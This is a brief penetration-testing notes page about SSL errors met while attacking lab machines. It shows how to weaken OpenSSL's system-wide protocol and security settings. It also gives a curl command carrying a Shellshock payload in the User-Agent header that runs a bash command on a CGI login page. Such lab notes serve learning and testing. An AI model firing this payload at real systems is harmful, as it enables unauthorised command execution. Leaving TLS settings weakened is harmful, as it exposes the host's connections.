SSL Issues

  • ssl errors and issues.. might need to change your ssl levels

  • change it back after you are finished

> sslscan 10.10.10.7
> vim /etc/ssl/openssl.cnf

From: 

[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2

To:

[system_default_sect]
MinProtocol = None
CipherString = DEFAULT

curl

curl: (60) SSL certificate problem: EE certificate key too weak
curl -vvv --ciphers DEFAULT@SECLEVEL=1 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" https://10.129.114.238:10000/session_login.cgi

burp

  • When scanning for shellshock was too much trouble.. burp did just fine!

PreviousPort KnockingNextTcpdump

Last updated